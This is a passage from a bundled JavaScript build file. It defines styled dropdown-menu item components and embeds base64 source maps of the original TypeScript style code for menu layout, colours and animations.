WF9TSEFET1cgfTtcblx0YCB9XG5cblx0LyogT25seSB2aXNpYmxlIGluIFdpbmRvd3MgSGlnaCBDb250cmFzdCBtb2RlICovXG5cdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudCAhaW1wb3J0YW50O1xuXG5cdC8qIE9wZW4vY2xvc2UgYW5pbWF0aW9uICovXG5cdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdHRyYW5zaXRpb24tcHJvcGVydHk6IHRyYW5zZm9ybSwgb3BhY2l0eTtcblx0XHR0cmFuc2l0aW9uLWR1cmF0aW9uOiAkeyBEUk9QRE9XTl9NT1RJT05fQ1NTLlNMSURFX0RVUkFUSU9OIH0sXG5cdFx0XHQkeyBEUk9QRE9XTl9NT1RJT05fQ1NTLkZBREVfRFVSQVRJT04gfTtcblx0XHR0cmFuc2l0aW9uLXRpbWluZy1mdW5jdGlvbjogJHsgRFJPUERPV05fTU9USU9OX0NTUy5TTElERV9FQVNJTkcgfSxcblx0XHRcdCR7IERST1BET1dOX01PVElPTl9DU1MuRkFERV9FQVNJTkcgfTtcblx0XHR3aWxsLWNoYW5nZTogdHJhbnNmb3JtLCBvcGFjaXR5O1xuXG5cdFx0Jjpub3QoIFtkYXRhLXN1Ym1lbnVdICkge1xuXHRcdFx0LyogUmVnYXJkbGVzcyBvZiB0aGUgc2lkZSwgZmFkZSBpbiBhbmQgb3V0LiAqL1xuXHRcdFx0b3BhY2l0eTogMDtcblx0XHRcdCZbZGF0YS1lbnRlcl0ge1xuXHRcdFx0XHRvcGFjaXR5OiAxO1xuXHRcdFx0fVxuXG5cdFx0XHQvKiBTbGlkZSBpbiB0aGUgZGlyZWN0aW9uIHRoZSBtZW51IGlzIG9wZW5pbmcuICovXG5cdFx0XHQmW2RhdGEtc2lkZT0nYm90dG9tJ10ge1xuXHRcdFx0XHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoXG5cdFx0XHRcdFx0LSR7IERST1BET1dOX01PVElPTl9DU1MuU0xJREVfRElTVEFOQ0UgfVxuXHRcdFx0XHQpO1xuXHRcdFx0fVxuXHRcdFx0JltkYXRhLXNpZGU9J3RvcCddIHtcblx0XHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVZKFxuXHRcdFx0XHRcdCR7IERST1BET1dOX01PVElPTl9DU1MuU0xJREVfRElTVEFOQ0UgfVxuXHRcdFx0XHQpO1xuXHRcdFx0fVxuXHRcdFx0JltkYXRhLXNpZGU9J2xlZnQnXSB7XG5cdFx0XHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlWChcblx0XHRcdFx0XHQkeyBEUk9QRE9XTl9NT1RJT05fQ1NTLlNMSURFX0RJU1RBTkNFIH1cblx0XHRcdFx0KTtcblx0XHRcdH1cblx0XHRcdCZbZGF0YS1zaWRlPSdyaWdodCddIHtcblx0XHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVYKFxuXHRcdFx0XHRcdC0keyBEUk9QRE9XTl9NT1RJT05fQ1NTLlNMSURFX0RJU1RBTkNFIH1cblx0XHRcdFx0KTtcblx0XHRcdH1cblx0XHRcdCZbZGF0YS1lbnRlcl1bZGF0YS1zaWRlPSdib3R0b20nXSxcblx0XHRcdCZbZGF0YS1lbnRlcl1bZGF0YS1zaWRlPSd0b3AnXSB7XG5cdFx0XHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlWSggMCApO1xuXHRcdFx0fVxuXHRcdFx0JltkYXRhLWVudGVyXVtkYXRhLXNpZGU9J2xlZnQnXSxcblx0XHRcdCZbZGF0YS1lbnRlcl1bZGF0YS1zaWRlPSdyaWdodCddIHtcblx0XHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVYKCAwICk7XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5gO1xuXG5jb25zdCBiYXNlSXRlbSA9IGNzc2Bcblx0YWxsOiB1bnNldDtcblxuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdG1pbi1oZWlnaHQ6ICR7IHNwYWNlKCA4ICkgfTtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblxuXHQvKiBPY2N1cHkgdGhlIHdpZHRoIG9mIGFsbCBncmlkIGNvbHVtbnMgKGllLiBmdWxsIHdpZHRoKSAqL1xuXHRncmlkLWNvbHVtbjogMSAvIC0xO1xuXG5cdGRpc3BsYXk6IGdyaWQ7XG5cdGdyaWQtdGVtcGxhdGUtY29sdW1uczogJHsgR1JJRF9URU1QTEFURV9DT0xTIH07XG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cblx0QHN1cHBvcnRzICggZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiBzdWJncmlkICkge1xuXHRcdC8qXG5cdFx0ICogRGVmaW5lIGEgZ3JpZCBsYXlvdXQgd2hpY2ggaW5oZXJpdHMgdGhlIHNhbWUgY29sdW1ucyBjb25maWd1cmF0aW9uXG5cdFx0ICogZnJvbSB0aGUgcGFyZW50IGxheW91dCAoaWUuIHN1YmdyaWQpLiBUaGlzIGFsbG93cyB0aGUgbWVudVxuXHRcdCAqIHRvIHN5bmNocm9uaXplIHRoZSBpbmRlbnRhdGlvbiBvZiBhbGwgaXRzIGl0ZW1zLlxuXHRcdCAqL1xuXHRcdGdyaWQtdGVtcGxhdGUtY29sdW1uczogc3ViZ3JpZDtcblx0fVxuXG5cdGZvbnQtc2l6ZTogJHsgZm9udCggJ2RlZmF1bHQuZm9udFNpemUnICkgfTtcblx0Zm9udC1mYW1pbHk6IGluaGVyaXQ7XG5cdGZvbnQtd2VpZ2h0OiBub3JtYWw7XG5cdGxpbmUtaGVpZ2h0OiAyMHB4O1xuXG5cdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuZm9yZWdyb3VuZCB9O1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblxuXHRwYWRkaW5nLWJsb2NrOiAkeyBJVEVNX1BBRERJTkdfQkxPQ0sgfTtcblx0cGFkZGluZy1pbmxpbmU6ICR7IElURU1fUEFERElOR19JTkxJTkUgfTtcblxuXHQvKlxuXHQgKiBNYWtlIHN1cmUgdGhhdCwgd2hlbiBhbiBpdGVtIGlzIHNjcm9sbGVkIGludG8gdmlldyAoZWcuIHdoaWxlIHVzaW5nIHRoZVxuXHQgKiBrZXlib2FyZCB0byBtb3ZlIGZvY3VzKSwgdGhlIHdob2xlIGl0ZW0gY29tZXMgaW50byB2aWV3XG5cdCAqL1xuXHRzY3JvbGwtbWFyZ2luOiAkeyBDT05URU5UX1dSQVBQRVJfUEFERElORyB9O1xuXG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHRvdXRsaW5lOiBub25lO1xuXG5cdCZbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddIHtcblx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLnRleHREaXNhYmxlZCB9O1xuXHRcdGN1cnNvcjogbm90LWFsbG93ZWQ7XG5cdH1cblxuXHQvKiBBY3RpdmUgaXRlbSAoaW5jbHVkaW5nIGhvdmVyKSAqL1xuXHQmW2RhdGEtYWN0aXZlLWl0ZW1dOm5vdCggW2RhdGEtZm9jdXMtdmlzaWJsZV0gKTpub3QoXG5cdFx0XHRbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddXG5cdFx0KSB7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50SW52ZXJ0ZWQgfTtcblx0fVxuXG5cdC8qIEtleWJvYXJkIGZvY3VzIChmb2N1cy12aXNpYmxlKSAqL1xuXHQmW2RhdGEtZm9jdXMtdmlzaWJsZV0ge1xuXHRcdGJveC1zaGFkb3c6IDAgMCAwIDEuNXB4ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblxuXHRcdC8qIE9ubHkgdmlzaWJsZSBpbiBXaW5kb3dzIEhpZ2ggQ29udHJhc3QgbW9kZSAqL1xuXHRcdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0fVxuXG5cdC8qIEFjdGl2ZSAoaWUuIHByZXNzZWQsIG1vdXNlIGRvd24pICovXG5cdCY6YWN0aXZlLFxuXHQmW2RhdGEtYWN0aXZlXSB7XG5cdFx0LyogVE9ETzogc2hvdWxkIHRoZXJlIGJlIGEgdmlzdWFsIGFjdGl2ZSBzdGF0ZT8gKi9cblx0fVxuXG5cdC8qIFdoZW4gdGhlIGl0ZW0gaXMgdGhlIHRyaWdnZXIgb2YgYW4gb3BlbiBzdWJtZW51ICovXG5cdCR7IE1lbnUgfTpub3QoOmZvY3VzKSAmOm5vdCg6Zm9jdXMpW2FyaWEtZXhwYW5kZWQ9XCJ0cnVlXCJdIHtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBMSUdIVF9CQUNLR1JPVU5EX0NPTE9SIH07XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH07XG5cdH1cblxuXHRzdmcge1xuXHRcdGZpbGw6IGN1cnJlbnRDb2xvcjtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IEl0ZW0gPSBzdHlsZWQoIEFyaWFraXQuTWVudUl0ZW0gKWBcblx0JHsgYmFzZUl0ZW0gfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBDaGVja2JveEl0ZW0gPSBzdHlsZWQoIEFyaWFraXQuTWVudUl0ZW1DaGVja2JveCApYFxuXHQkeyBiYXNlSXRlbSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IFJhZGlvSXRlbSA9IHN0eWxlZCggQXJpYWtpdC5NZW51SXRlbVJhZGlvIClgXG5cdCR7IGJhc2VJdGVtIH07XG5gO1xuXG5leHBvcnQgY29uc3QgSXRlbVByZWZpeFdyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0LyogQWx3YXlzIG9jY3VweSB0aGUgZmlyc3QgY29sdW1uLCBldmVuIHdoZW4gYXV0by1jb2xsYXBzaW5nICovXG5cdGdyaWQtY29sdW1uOiAxO1xuXG5cdC8qXG5cdCAqIEV2ZW4gd2hlbiB0aGUgaXRlbSBpcyBub3QgY2hlY2tlZCwgb2NjdXB5IHRoZSBzYW1lIHNjcmVlbiBzcGFjZSB0byBhdm9pZFxuXHQgKiB0aGUgc3BhY2UgY29sbGFwc2lkZSB3aGVuIG5vIGl0ZW1zIGFyZSBjaGVja2VkLlxuXHQgKi9cblx0JHsgQ2hlY2tib3hJdGVtIH0gPiAmLFxuXHQkeyBSYWRpb0l0ZW0gfSA+ICYge1xuXHRcdC8qIFNhbWUgd2lkdGggYXMgdGhlIGNoZWNrIGljb25zICovXG5cdFx0bWluLXdpZHRoOiAkeyBzcGFjZSggNiApIH07XG5cdH1cblxuXHQkeyBDaGVja2JveEl0ZW0gfSA+ICYsXG5cdCR7IFJhZGlvSXRlbSB9ID4gJixcblx0Jjpub3QoIDplbXB0eSApIHtcblx0XHRtYXJnaW4taW5saW5lLWVuZDogJHsgc3BhY2UoIDIgKSB9O1xuXHR9XG5cblx0ZGlzcGxheTogZmxleDtcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0anVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG5cblx0Y29sb3I6ICR7IExJR0hURVJfVEVYVF9DT0xPUiB9O1xuXG5cdC8qXG5cdCogV2hlbiB0aGUgcGFyZW50IG1lbnUgaXRlbSBpcyBhY3RpdmUsIGV4Y2VwdCB3aGVuIGl0J3MgYSBub24tZm9jdXNlZC9ob3ZlcmVkXG5cdCogc3VibWVudSB0cmlnZ2VyIChpbiB0aGF0IGNhc2UsIGNvbG9yIHNob3VsZCBub3QgYmUgaW5oZXJpdGVkKVxuXHQqL1xuXHRbZGF0YS1hY3RpdmUtaXRlbV06bm90KCBbZGF0YS1mb2N1cy12aXNpYmxlXSApID4gJixcblx0LyogV2hlbiB0aGUgcGFyZW50IG1lbnUgaXRlbSBpcyBkaXNhYmxlZCAqL1xuXHRbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddID4gJiB7XG5cdFx0Y29sb3I6IGluaGVyaXQ7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtQ29udGVudFdyYXBwZXIgPSBzdHlsZWQuZGl2YFxuXHQvKlxuXHQgKiBBbHdheXMgb2NjdXB5IHRoZSBzZWNvbmQgY29sdW1uLCBzaW5jZSB0aGUgZmlyc3QgY29sdW1uXG5cdCAqIGlzIHRha2VuIGJ5IHRoZSBwcmVmaXggd3JhcHBlciAod2hlbiBkaXNwbGF5ZWQpLlxuXHQgKi9cblx0Z3JpZC1jb2x1bW46IDI7XG5cblx0ZGlzcGxheTogZmxleDtcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0anVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuO1xuXHRnYXA6ICR7IHNwYWNlKCAzICkgfTtcblxuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtQ2hpbGRyZW5XcmFwcGVyID0gc3R5bGVkLmRpdmBcblx0ZmxleDogMTtcblxuXHRkaXNwbGF5OiBpbmxpbmUtZmxleDtcblx0ZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcblx0Z2FwOiAkeyBzcGFjZSggMSApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgSXRlbVN1ZmZpeFdyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0ZmxleDogMCAxIGZpdC1jb250ZW50O1xuXHRtaW4td2lkdGg6IDA7XG5cdHdpZHRoOiBmaXQtY29udGVudDtcblxuXHRkaXNwbGF5OiBmbGV4O1xuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblx0Z2FwOiAkeyBzcGFjZSggMyApIH07XG5cblx0Y29sb3I6ICR7IExJR0hURVJfVEVYVF9DT0xPUiB9O1xuXG5cdC8qXG5cdCAqIFdoZW4gdGhlIHBhcmVudCBtZW51IGl0ZW0gaXMgYWN0aXZlLCBleGNlcHQgd2hlbiBpdCdzIGEgbm9uLWZvY3VzZWQvaG92ZXJlZFxuXHQgKiBzdWJtZW51IHRyaWdnZXIgKGluIHRoYXQgY2FzZSwgY29sb3Igc2hvdWxkIG5vdCBiZSBpbmhlcml0ZWQpXG5cdCAqL1xuXHRbZGF0YS1hY3RpdmUtaXRlbV06bm90KCBbZGF0YS1mb2N1cy12aXNpYmxlXSApICo6bm90KCR7IE1lbnUgfSkgJixcblx0LyogV2hlbiB0aGUgcGFyZW50IG1lbnUgaXRlbSBpcyBkaXNhYmxlZCAqL1xuXHRbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddICo6bm90KCR7IE1lbnUgfSkgJiB7XG5cdFx0Y29sb3I6IGluaGVyaXQ7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBHcm91cCA9IHN0eWxlZCggQXJpYWtpdC5NZW51R3JvdXAgKWBcblx0LyogSWdub3JlIHRoaXMgZWxlbWVudCB3aGVuIGNhbGN1bGF0aW5nIHRoZSBsYXlvdXQuIFVzZWZ1bCBmb3Igc3ViZ3JpZCAqL1xuXHRkaXNwbGF5OiBjb250ZW50cztcbmA7XG5cbmV4cG9ydCBjb25zdCBHcm91cExhYmVsID0gc3R5bGVkKCBBcmlha2l0Lk1lbnVHcm91cExhYmVsIClgXG5cdC8qIE9jY3VweSB0aGUgd2lkdGggb2YgYWxsIGdyaWQgY29sdW1ucyAoaWUuIGZ1bGwgd2lkdGgpICovXG5cdGdyaWQtY29sdW1uOiAxIC8gLTE7XG5cblx0cGFkZGluZy1ibG9jay1zdGFydDogJHsgc3BhY2UoIDMgKSB9O1xuXHRwYWRkaW5nLWJsb2NrLWVuZDogJHsgc3BhY2UoIDIgKSB9O1xuXHRwYWRkaW5nLWlubGluZTogJHsgSVRFTV9QQURESU5HX0lOTElORSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IFNlcGFyYXRvciA9IHN0eWxlZCggQXJpYWtpdC5NZW51U2VwYXJhdG9yICk8XG5cdFBpY2s8IENvbnRleHRQcm9wcywgJ3ZhcmlhbnQnID5cbj5gXG5cdC8qIE9jY3VweSB0aGUgd2lkdGggb2YgYWxsIGdyaWQgY29sdW1ucyAoaWUuIGZ1bGwgd2lkdGgpICovXG5cdGdyaWQtY29sdW1uOiAxIC8gLTE7XG5cblx0Ym9yZGVyOiBub25lO1xuXHRoZWlnaHQ6ICR7IENPTkZJRy5ib3JkZXJXaWR0aCB9O1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyAoIHByb3BzICkgPT5cblx0XHRwcm9wcy52YXJpYW50ID09PSAndG9vbGJhcidcblx0XHRcdD8gVE9PTEJBUl9WQVJJQU5UX0JPUkRFUl9DT0xPUlxuXHRcdFx0OiBESVZJREVSX0NPTE9SIH07XG5cdC8qIEFsaWduIHdpdGggbWVudSBpdGVtcycgY29udGVudCAqL1xuXHRtYXJnaW4tYmxvY2s6ICR7IHNwYWNlKCAyICkgfTtcblx0bWFyZ2luLWlubGluZTogJHsgSVRFTV9QQURESU5HX0lOTElORSB9O1xuXG5cdC8qIE9ubHkgdmlzaWJsZSBpbiBXaW5kb3dzIEhpZ2ggQ29udHJhc3QgbW9kZSAqL1xuXHRvdXRsaW5lOiAycHggc29saWQgdHJhbnNwYXJlbnQ7XG5gO1xuXG5leHBvcnQgY29uc3QgU3VibWVudUNoZXZyb25JY29uID0gc3R5bGVkKCBJY29uIClgXG5cdHdpZHRoOiAkeyBzcGFjZSggMS41ICkgfTtcblx0JHsgcnRsKFxuXHRcdHtcblx0XHRcdHRyYW5zZm9ybTogYHNjYWxlWCgxKWAsXG5cdFx0fSxcblx0XHR7XG5cdFx0XHR0cmFuc2Zvcm06IGBzY2FsZVgoLTEpYCxcblx0XHR9XG5cdCkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtTGFiZWwgPSBzdHlsZWQoIFRydW5jYXRlIClgXG5cdGZvbnQtc2l6ZTogJHsgZm9udCggJ2RlZmF1bHQuZm9udFNpemUnICkgfTtcblx0bGluZS1oZWlnaHQ6IDIwcHg7XG5cdGNvbG9yOiBpbmhlcml0O1xuYDtcblxuZXhwb3J0IGNvbnN0IEl0ZW1IZWxwVGV4dCA9IHN0eWxlZCggVHJ1bmNhdGUgKWBcblx0Zm9udC1zaXplOiAkeyBmb250KCAnaGVscFRleHQuZm9udFNpemUnICkgfTtcblx0bGluZS1oZWlnaHQ6IDE2cHg7XG5cdGNvbG9yOiAkeyBMSUdIVEVSX1RFWFRfQ09MT1IgfTtcblx0b3ZlcmZsb3ctd3JhcDogYW55d2hlcmU7XG5cblx0W2RhdGEtYWN0aXZlLWl0ZW1dOm5vdCggW2RhdGEtZm9jdXMtdmlzaWJsZV0gKSAqOm5vdCggJHsgTWVudSB9ICkgJixcblx0W2FyaWEtZGlzYWJsZWQ9J3RydWUnXSAqOm5vdCggJHsgTWVudSB9ICkgJiB7XG5cdFx0Y29sb3I6IGluaGVyaXQ7XG5cdH1cbmA7XG4iXX0= */"));
50203 var CheckboxItem = /* @__PURE__ */ createStyled(MenuItemCheckbox, false ? {
50204 target: "e1wg7tti11"
50205 } : {
50206 target: "e1wg7tti11",
50207 label: "CheckboxItem"
50208 })(baseItem, ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUF1TThEIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCAqIGFzIEFyaWFraXQgZnJvbSAnQGFyaWFraXQvcmVhY3QnO1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIGZvbnQsIHJ0bCwgQ09ORklHLCBEUk9QRE9XTl9NT1RJT05fQ1NTIH0gZnJvbSAnLi4vdXRpbHMnO1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi91dGlscy9zcGFjZSc7XG5pbXBvcnQgSWNvbiBmcm9tICcuLi9pY29uJztcbmltcG9ydCB7IFRydW5jYXRlIH0gZnJvbSAnLi4vdHJ1bmNhdGUnO1xuaW1wb3J0IHR5cGUgeyBDb250ZXh0UHJvcHMgfSBmcm9tICcuL3R5cGVzJztcblxuY29uc3QgQ09OVEVOVF9XUkFQUEVSX1BBRERJTkcgPSBzcGFjZSggMSApO1xuY29uc3QgSVRFTV9QQURESU5HX0JMT0NLID0gc3BhY2UoIDEgKTtcbmNvbnN0IElURU1fUEFERElOR19JTkxJTkUgPSBzcGFjZSggMyApO1xuXG4vLyBUT0RPOlxuLy8gLSBib3JkZXIgY29sb3IgYW5kIGRpdmlkZXIgY29sb3IgYXJlIGRpZmZlcmVudCBmcm9tIENPTE9SUy50aGVtZSB2YXJpYWJsZXNcbi8vIC0gbGlnaHRlciB0ZXh0IGNvbG9yIGlzIG5vdCBkZWZpbmVkIGluIENPTE9SUy50aGVtZSwgc2hvdWxkIGl0IGJlP1xuLy8gLSBsaWdodGVyIGJhY2tncm91bmQgY29sb3IgaXMgbm90IGRlZmluZWQgaW4gQ09MT1JTLnRoZW1lLCBzaG91bGQgaXQgYmU/XG5jb25zdCBERUZBVUxUX0JPUkRFUl9DT0xPUiA9IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXTtcbmNvbnN0IERJVklERVJfQ09MT1IgPSBDT0xPUlMudGhlbWUuZ3JheVsgMjAwIF07XG5jb25zdCBMSUdIVEVSX1RFWFRfQ09MT1IgPSBDT0xPUlMudGhlbWUuZ3JheVsgNzAwIF07XG5jb25zdCBMSUdIVF9CQUNLR1JPVU5EX0NPTE9SID0gQ09MT1JTLnRoZW1lLmdyYXlbIDEwMCBdO1xuY29uc3QgVE9PTEJBUl9WQVJJQU5UX0JPUkRFUl9DT0xPUiA9IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kO1xuY29uc3QgREVGQVVMVF9CT1hfU0hBRE9XID0gYDAgMCAwICR7IENPTkZJRy5ib3JkZXJXaWR0aCB9ICR7IERFRkFVTFRfQk9SREVSX0NPTE9SIH0sICR7IENPTkZJRy5lbGV2YXRpb25NZWRpdW0gfWA7XG5jb25zdCBUT09MQkFSX1ZBUklBTlRfQk9YX1NIQURPVyA9IGAwIDAgMCAkeyBDT05GSUcuYm9yZGVyV2lkdGggfSAkeyBUT09MQkFSX1ZBUklBTlRfQk9SREVSX0NPTE9SIH1gO1xuXG5jb25zdCBHUklEX1RFTVBMQVRFX0NPTFMgPSAnbWlubWF4KCAwLCBtYXgtY29udGVudCApIDFmcic7XG5cbmV4cG9ydCBjb25zdCBNZW51ID0gc3R5bGVkKCBBcmlha2l0Lk1lbnUgKTwgUGljazwgQ29udGV4dFByb3BzLCAndmFyaWFudCcgPiA+YFxuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdC8qIFNhbWUgYXMgcG9wb3ZlciBjb21wb25lbnQgKi9cblx0LyogVE9ETzogaXMgdGhlcmUgYSB3YXkgdG8gcmVhZCB0aGUgc2FzcyB2YXJpYWJsZT8gKi9cblx0ei1pbmRleDogMTAwMDAwMDtcblxuXHRkaXNwbGF5OiBncmlkO1xuXHRncmlkLXRlbXBsYXRlLWNvbHVtbnM6ICR7IEdSSURfVEVNUExBVEVfQ09MUyB9O1xuXHRncmlkLXRlbXBsYXRlLXJvd3M6IGF1dG87XG5cblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0bWluLXdpZHRoOiAxNjBweDtcblx0bWF4LXdpZHRoOiAzMjBweDtcblx0bWF4LWhlaWdodDogdmFyKCAtLXBvcG92ZXItYXZhaWxhYmxlLWhlaWdodCApO1xuXG5cdHBhZGRpbmc6ICR7IENPTlRFTlRfV1JBUFBFUl9QQURESU5HIH07XG5cblx0b3ZlcnNjcm9sbC1iZWhhdmlvcjogY29udGFpbjtcblx0b3ZlcmZsb3c6IGF1dG87XG5cblx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnVpLmJhY2tncm91bmQgfTtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c01lZGl1bSB9O1xuXHQkeyAoIHByb3BzICkgPT4gY3NzYFxuXHRcdGJveC1zaGFkb3c6ICR7IHByb3BzLnZhcmlhbnQgPT09ICd0b29sYmFyJ1xuXHRcdFx0PyBUT09MQkFSX1ZBUklBTlRfQk9YX1NIQURPV1xuXHRcdFx0OiBERUZBVUxUX0JPWF9TSEFET1cgfTtcblx0YCB9XG5cblx0LyogT25seSB2aXNpYmxlIGluIFdpbmRvd3MgSGlnaCBDb250cmFzdCBtb2RlICovXG5cdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudCAhaW1wb3J0YW50O1xuXG5cdC8qIE9wZW4vY2xvc2UgYW5pbWF0aW9uICovXG5cdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdHRyYW5zaXRpb24tcHJvcGVydHk6IHRyYW5zZm9ybSwgb3BhY2l0eTtcblx0XHR0cmFuc2l0aW9uLWR1cmF0aW9uOiAkeyBEUk9QRE9XTl9NT1RJT05fQ1NTLlNMSURFX0RVUkFUSU9OIH0sXG5cdFx0XHQkeyBEUk9QRE9XTl9NT1RJT05fQ1NTLkZBREVfRFVSQVRJT04gfTtcblx0XHR0cmFuc2l0aW9uLXRpbWluZy1mdW5jdGlvbjogJHsgRFJPUERPV05fTU9USU9OX0NTUy5TTElERV9FQVNJTkcgfSxcblx0XHRcdCR7IERST1BET1dOX01PVElPTl9DU1MuRkFERV9FQVNJTkcgfTtcblx0XHR3aWxsLWNoYW5nZTogdHJhbnNmb3JtLCBvcGFjaXR5O1xuXG5cdFx0Jjpub3QoIFtkYXRhLXN1Ym1lbnVdICkge1xuXHRcdFx0LyogUmVnYXJkbGVzcyBvZiB0aGUgc2lkZSwgZmFkZSBpbiBhbmQgb3V0LiAqL1xuXHRcdFx0b3BhY2l0eTogMDtcblx0XHRcdCZbZGF0YS1lbnRlcl0ge1xuXHRcdFx0XHRvcGFjaXR5OiAxO1xuXHRcdFx0fVxuXG5cdFx0XHQvKiBTbGlkZSBpbiB0aGUgZGlyZWN0aW9uIHRoZSBtZW51IGlzIG9wZW5pbmcuICovXG5cdFx0XHQmW2RhdGEtc2lkZT0nYm90dG9tJ10ge1xuXHRcdFx0XHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoXG5cdFx0XHRcdFx0LSR7IERST1BET1dOX01PVElPTl9DU1MuU0xJREVfRElTVEFOQ0UgfVxuXHRcdFx0XHQpO1xuXHRcdFx0fVxuXHRcdFx0JltkYXRhLXNpZGU9J3RvcCddIHtcblx0XHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVZKFxuXHRcdFx0XHRcdCR7IERST1BET1dOX01PVElPTl9DU1MuU0xJREVfRElTVEFOQ0UgfVxuXHRcdFx0XHQpO1xuXHRcdFx0fVxuXHRcdFx0JltkYXRhLXNpZGU9J2xlZnQnXSB7XG5cdFx0XHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlWChcblx0XHRcdFx0XHQkeyBEUk9QRE9XTl9NT1RJT05fQ1NTLlNMSURFX0RJU1RBTkNFIH1cblx0XHRcdFx0KTtcblx0XHRcdH1cblx0XHRcdCZbZGF0YS1zaWRlPSdyaWdodCddIHtcblx0XHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVYKFxuXHRcdFx0XHRcdC0keyBEUk9QRE9XTl9NT1RJT05fQ1NTLlNMSURFX0RJU1RBTkNFIH1cblx0XHRcdFx0KTtcblx0XHRcdH1cblx0XHRcdCZbZGF0YS1lbnRlcl1bZGF0YS1zaWRlPSdib3R0b20nXSxcblx0XHRcdCZbZGF0YS1lbnRlcl1bZGF0YS1zaWRlPSd0b3AnXSB7XG5cdFx0XHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlWSggMCApO1xuXHRcdFx0fVxuXHRcdFx0JltkYXRhLWVudGVyXVtkYXRhLXNpZGU9J2xlZnQnXSxcblx0XHRcdCZbZGF0YS1lbnRlcl1bZGF0YS1zaWRlPSdyaWdodCddIHtcblx0XHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVYKCAwICk7XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5gO1xuXG5jb25zdCBiYXNlSXRlbSA9IGNzc2Bcblx0YWxsOiB1bnNldDtcblxuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdG1pbi1oZWlnaHQ6ICR7IHNwYWNlKCA4ICkgfTtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblxuXHQvKiBPY2N1cHkgdGhlIHdpZHRoIG9mIGFsbCBncmlkIGNvbHVtbnMgKGllLiBmdWxsIHdpZHRoKSAqL1xuXHRncmlkLWNvbHVtbjogMSAvIC0xO1xuXG5cdGRpc3BsYXk6IGdyaWQ7XG5cdGdyaWQtdGVtcGxhdGUtY29sdW1uczogJHsgR1JJRF9URU1QTE